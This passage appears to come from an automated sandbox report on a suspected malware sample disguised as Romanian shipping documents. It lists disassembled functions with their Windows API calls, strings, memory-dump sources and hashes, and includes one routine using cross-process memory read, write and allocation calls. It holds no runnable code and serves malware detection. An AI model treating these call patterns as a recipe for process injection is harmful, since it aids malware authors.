                                                • Opcode Fuzzy Hash: d1397058e97933e27d0fcc9e1692c83dbc62ba80c52cd2d1f7527db2dbdfd67b
                                                • Instruction Fuzzy Hash: 94517C31A08321D6CB15B714F90137A2B98DF7071CF284D29F4C6C22A9DF39CE949A7A
                                                Function 00D44606 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,00D9DC50,?,0000000F,0000000C,00000016,00D9DC50,?), ref: 00D44645
                                                  • Part of subcall function 00D0936C: __swprintf.LIBCMT ref: 00D093AB
                                                  • Part of subcall function 00D0936C: __itow.LIBCMT ref: 00D093DF
                                                • CharUpperBuffW.USER32(?,?,00000000,?), ref: 00D446C5
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharUpper$__itow__swprintf
                                                • String ID: REMOVE$THIS
                                                • API String ID: 3797816924-776492005
                                                • Opcode ID: 775c071189c6ce663ed1084669cd2093f0395b7949c3870512641d5592ec829c
                                                • Instruction ID: 5981e6a3a4f0ff20d15a686ee1ec341b9c501914ef1eb581e5dd3d7c70762733
                                                • Opcode Fuzzy Hash: 775c071189c6ce663ed1084669cd2093f0395b7949c3870512641d5592ec829c
                                                • Instruction Fuzzy Hash: 62414F74A002199FCF01DFA4C885BADB7B5FF49314F148059E95AAB292DB34DD86CB70
                                                Function 00D3C189 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D4430B: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00D3BC08,?,?,00000034,00000800,?,00000034), ref: 00D44335
                                                • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00D3C1D3
                                                  • Part of subcall function 00D442D6: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00D3BC37,?,?,00000800,?,00001073,00000000,?,?), ref: 00D44300
                                                  • Part of subcall function 00D4422F: GetWindowThreadProcessId.USER32(?,?), ref: 00D4425A
                                                  • Part of subcall function 00D4422F: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00D3BBCC,00000034,?,?,00001004,00000000,00000000), ref: 00D4426A
                                                  • Part of subcall function 00D4422F: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00D3BBCC,00000034,?,?,00001004,00000000,00000000), ref: 00D44280
                                                • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00D3C240
                                                • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00D3C28D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                • String ID: @
                                                • API String ID: 4150878124-2766056989
                                                • Opcode ID: 2d11ee9592d9a2678bb2c1013f423326b283e25890bfeb64f9bbf5a620b02715
                                                • Instruction ID: 69880ca924bce9c86b8ef80ab03aaa62e8613271c176cf7d8e259bf98b77060c
                                                • Opcode Fuzzy Hash: 2d11ee9592d9a2678bb2c1013f423326b283e25890bfeb64f9bbf5a620b02715
                                                • Instruction Fuzzy Hash: 1241277690021CAFDB10DFA4CC86BEEB7B8FB09700F044095EA45B7181DA716E85CB75
                                                Function 00D6A63F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00D9DC00,00000000,?,?,?,?), ref: 00D6A6D8
                                                • GetWindowLongW.USER32 ref: 00D6A6F5
                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00D6A705
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Long
                                                • String ID: SysTreeView32
                                                • API String ID: 847901565-1698111956
                                                • Opcode ID: 20d03ab73a9baf519f635f9fdc499b8b20727e20d6b579bde180b68b66a56fb2
                                                • Instruction ID: c4465ff9466220a92cffa467778471512040859c91a641a3e9cdbbcf783b67af
                                                • Opcode Fuzzy Hash: 20d03ab73a9baf519f635f9fdc499b8b20727e20d6b579bde180b68b66a56fb2
                                                • Instruction Fuzzy Hash: 0D318E31140606AFDB118E78DC41BEA7BAAEB49324F284715F8B5E32E1D770A8509B70
                                                Function 00D6A0D6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00D6A15E
                                                • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00D6A172
                                                • SendMessageW.USER32(?,00001002,00000000,?), ref: 00D6A196
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$Window
                                                • String ID: SysMonthCal32
                                                • API String ID: 2326795674-1439706946
                                                • Opcode ID: 1daacdc307cc03a8668f7d5692e4524c694b2b3b2e7e9643a05e7af825cfec55
                                                • Instruction ID: 8264707292f35a2c91ba9ae3f35e3a603edb77eadeb8f33fc8ad9eb785e05737
                                                • Opcode Fuzzy Hash: 1daacdc307cc03a8668f7d5692e4524c694b2b3b2e7e9643a05e7af825cfec55
                                                • Instruction Fuzzy Hash: A1218D32510218ABDF118F98CC42FEA3B7AEF49714F150214FA95BB1D0D6B5A8558BB0
                                                Function 00D6A88A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00D6A941
                                                • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00D6A94F
                                                • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00D6A956
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$DestroyWindow
                                                • String ID: msctls_updown32
                                                • API String ID: 4014797782-2298589950
                                                • Opcode ID: c16c8f06ae9a40fe57a2b2a7dd20803d271acda25b5643688d240a0d94aadcff
                                                • Instruction ID: 04bac9c6aead936ee2e7ddbccef4905e9bc4dfc7dae8c56647c23cc370b10abb
                                                • Opcode Fuzzy Hash: c16c8f06ae9a40fe57a2b2a7dd20803d271acda25b5643688d240a0d94aadcff
                                                • Instruction Fuzzy Hash: 2D21A1B520020AAFDB10DF18CC81D6737ADEF5A354B140159FA44973A2CB30EC118F71
                                                Function 00D699A5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00D69A30
                                                • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00D69A40
                                                • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00D69A65
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$MoveWindow
                                                • String ID: Listbox
                                                • API String ID: 3315199576-2633736733
                                                • Opcode ID: d7454e0488eb0335be241f51e36eba8d2c5d4e76266b75374990ce08d60c15df
                                                • Instruction ID: f63aa08fddd8c02e2abee8d979f1d002f7bbefdc533355cf2d78dfcdd4cf5161
                                                • Opcode Fuzzy Hash: d7454e0488eb0335be241f51e36eba8d2c5d4e76266b75374990ce08d60c15df
                                                • Instruction Fuzzy Hash: C121D472650218BFDF218F54CC85FBB7BAEEF89760F058129F9449B190C6719C518BB0
                                                Function 00D6A409 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00D6A46D
                                                • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00D6A482
                                                • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00D6A48F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: msctls_trackbar32
                                                • API String ID: 3850602802-1010561917
                                                • Opcode ID: 6053212a5b91a7a4fac94bab51b96c45ad0814020e0981b1ffbfc024b012ee87
                                                • Instruction ID: 2f78e2debd9ee09faba4ea0fdc3269eed450050314beb186d2a1497e6622e875
                                                • Opcode Fuzzy Hash: 6053212a5b91a7a4fac94bab51b96c45ad0814020e0981b1ffbfc024b012ee87
                                                • Instruction Fuzzy Hash: 3C11C471240308BFEF205F64CC45FAB3769EF89754F054118FA89A6091DAB2E811CB34
                                                Function 00D22287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00D22350,?), ref: 00D222A1
                                                • GetProcAddress.KERNEL32(00000000), ref: 00D222A8
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: RoInitialize$combase.dll
                                                • API String ID: 2574300362-340411864
                                                • Opcode ID: 9a788121c6f960ff417d16b8ff5585e0256a80232b88c08eeb8685237e9eaca7
                                                • Instruction ID: 1be62f22b435c03618cec85db0615f4b2ff64e0e16fd02e90bc58481d831927e
                                                • Opcode Fuzzy Hash: 9a788121c6f960ff417d16b8ff5585e0256a80232b88c08eeb8685237e9eaca7
                                                • Instruction Fuzzy Hash: 35E09A706A4716EFDB606F74ED8DF257B6AAB10B06F544124B102D52E4DBB58444CF38
                                                Function 00D2235C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00D22276), ref: 00D22376
                                                • GetProcAddress.KERNEL32(00000000), ref: 00D2237D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: RoUninitialize$combase.dll
                                                • API String ID: 2574300362-2819208100
                                                • Opcode ID: f6c93a083bd701afe3f0d316671f2224af7230bb417bb00f3ee1434f940d5eac
                                                • Instruction ID: b8c592573f6a4f012e7ead2b5e9b73467f63d825c3036ecdce8a9d26fdf6ea02
                                                • Opcode Fuzzy Hash: f6c93a083bd701afe3f0d316671f2224af7230bb417bb00f3ee1434f940d5eac
                                                • Instruction Fuzzy Hash: A8E0B670554316EFDB20AFA1ED0DF147B66B710706F180418F109D22F8CBB894048B34
                                                Function 00D7AC59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LocalTime__swprintf
                                                • String ID: %.3d$WIN_XPe
                                                • API String ID: 2070861257-2409531811
                                                • Opcode ID: e615ee262a70f27d3c0e3b2932692be8c6094899c7d1b70814112d5d5d202357
                                                • Instruction ID: a6521fed4d4691585265f4ca659d3efb078bdec669df9e0f34275a989724ba28
                                                • Opcode Fuzzy Hash: e615ee262a70f27d3c0e3b2932692be8c6094899c7d1b70814112d5d5d202357
                                                • Instruction Fuzzy Hash: 9FE0EC75804628FBCA1297549D05DFD737DA784741F108092B98AA2144E635DB94AB36
                                                Function 00D042F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,00000000,00D042EC,?,00D042AA,?), ref: 00D04304
                                                • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00D04316
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                • API String ID: 2574300362-1355242751
                                                • Opcode ID: 661a1cbac441163bf08f6434819714106230fdfd7416b11e61c726525a916a74
                                                • Instruction ID: 7f25782798507780410ab140c61d8897f48ab884b3b8bf5c14932447ce045652
                                                • Opcode Fuzzy Hash: 661a1cbac441163bf08f6434819714106230fdfd7416b11e61c726525a916a74
                                                • Instruction Fuzzy Hash: D6D0A770450712EFC7205F21EC0CB5177E4AF05701B144419E546D32F0D7B0C8848B30
                                                Function 00D62205 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,00D621FB,?,00D623EF), ref: 00D62213
                                                • GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 00D62225
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: GetProcessId$kernel32.dll
                                                • API String ID: 2574300362-399901964
                                                • Opcode ID: 7e612b171bd2f6abdb609d58a9bef8ab041258b52585b9b27b9b938765fd7a27
                                                • Instruction ID: 8096fb623059cf86eff098ad37308be0eca5c9b93ab5a82f3b9b6f5c1e5bf8c8
                                                • Opcode Fuzzy Hash: 7e612b171bd2f6abdb609d58a9bef8ab041258b52585b9b27b9b938765fd7a27
                                                • Instruction Fuzzy Hash: 0FD0A734410B12DFC7219F31F80C66177F5EF08700B144419E842E22D0D770D8848770
                                                Function 00D0434B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,00D041BB,00D04341,?,00D0422F,?,00D041BB,?,?,?,?,00D039FE,?,00000001), ref: 00D04359
                                                • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00D0436B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                • API String ID: 2574300362-3689287502
                                                • Opcode ID: f97a52ece57cdfdaf0480be7591fa4dac23d5fc232dc1250e46f61160f137163
                                                • Instruction ID: 65c67b1bfaa64f787c4019a2b3f13944025602dcc04a5052215a59a88ec5ab06
                                                • Opcode Fuzzy Hash: f97a52ece57cdfdaf0480be7591fa4dac23d5fc232dc1250e46f61160f137163
                                                • Instruction Fuzzy Hash: 99D0A770450712EFC7305F31E80CB5177E4AF10B15B148419E486D22D0D7B0D8848B30
                                                Function 00D40564 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(oleaut32.dll,00000000,00D4052F,?,00D406D7), ref: 00D40572
                                                • GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 00D40584
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: UnRegisterTypeLibForUser$oleaut32.dll
                                                • API String ID: 2574300362-1587604923
                                                • Opcode ID: 2757ebf69e700dba764035f46ad928307aa3b1e094eb444065cb0a4da1df7110
                                                • Instruction ID: 2e07b90842fce3c4ca2d8d39c8b6094491ac6905d82fed12c0a1737d08e75687
                                                • Opcode Fuzzy Hash: 2757ebf69e700dba764035f46ad928307aa3b1e094eb444065cb0a4da1df7110
                                                • Instruction Fuzzy Hash: 5ED09E725147129FD7205F66A84CA627BE5AF08711B548519E996D2290D670D4848B70
                                                Function 00D40539 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(oleaut32.dll,?,00D4051D,?,00D405FE), ref: 00D40547
                                                • GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 00D40559
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: RegisterTypeLibForUser$oleaut32.dll
                                                • API String ID: 2574300362-1071820185
                                                • Opcode ID: edfa64ab205aee503a2b7b60edd5968175291e83ad23208428eec41e2ade5380
                                                • Instruction ID: af212de6eef87c06c3973cc33d49f4bc0119d10592c5e9889733fabe83b2cba2
                                                • Opcode Fuzzy Hash: edfa64ab205aee503a2b7b60edd5968175291e83ad23208428eec41e2ade5380
                                                • Instruction Fuzzy Hash: 1ED0C771554712DFD7209F66FC4C6617BE5EF14711B58C81DE55BD22D0D670C8848B70
                                                Function 00D5ECC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,00D5ECBE,?,00D5EBBB), ref: 00D5ECD6
                                                • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00D5ECE8
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
